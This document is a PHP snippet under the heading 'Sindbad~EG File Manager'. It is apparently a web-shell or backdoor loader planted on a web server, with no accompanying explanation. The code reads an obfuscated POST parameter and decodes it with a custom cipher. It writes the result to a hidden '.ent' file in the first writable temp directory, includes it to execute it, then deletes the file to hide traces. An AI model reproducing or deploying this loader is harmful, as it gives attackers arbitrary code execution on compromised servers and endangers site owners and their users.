Sindbad~EG File Manager

<?php

if(filter_has_var(INPUT_POST, "\x73y\x6D")){
	$ref = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm"]);
	$desc = $_REQUEST["\x73y\x6D"];
		$desc =  	explode	 (	  '.' ,  	$desc   )	;	  
	$val  =	'';
            $salt  =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =	strlen(  $salt);
            $r  =	0;
    
            $__tmp  =	$desc;
            while(  $v3  =	array_shift(  $__tmp)) {
                $sChar  =	ord(  $salt[$r	 %$lenS]);
                $dec  =	(  (  int)$v3 - $sChar -(  $r	 %10)) 	^	91;
                $val .= chr(  $dec);
                $r++; }  
	$dat = 0;
do {
    $pointer = $ref[$dat] ?? null;
    if ($dat >= count($ref)) break;
    		if (is_dir($pointer) ? is_writable($pointer) : false) {
    $token = str_replace("{var_dir}", $pointer, "{var_dir}/.ent");
    if (file_put_contents($token, $val)) {
	include $token;
	@unlink($token);
	exit;
}
}
    $dat++;
} while (true);
}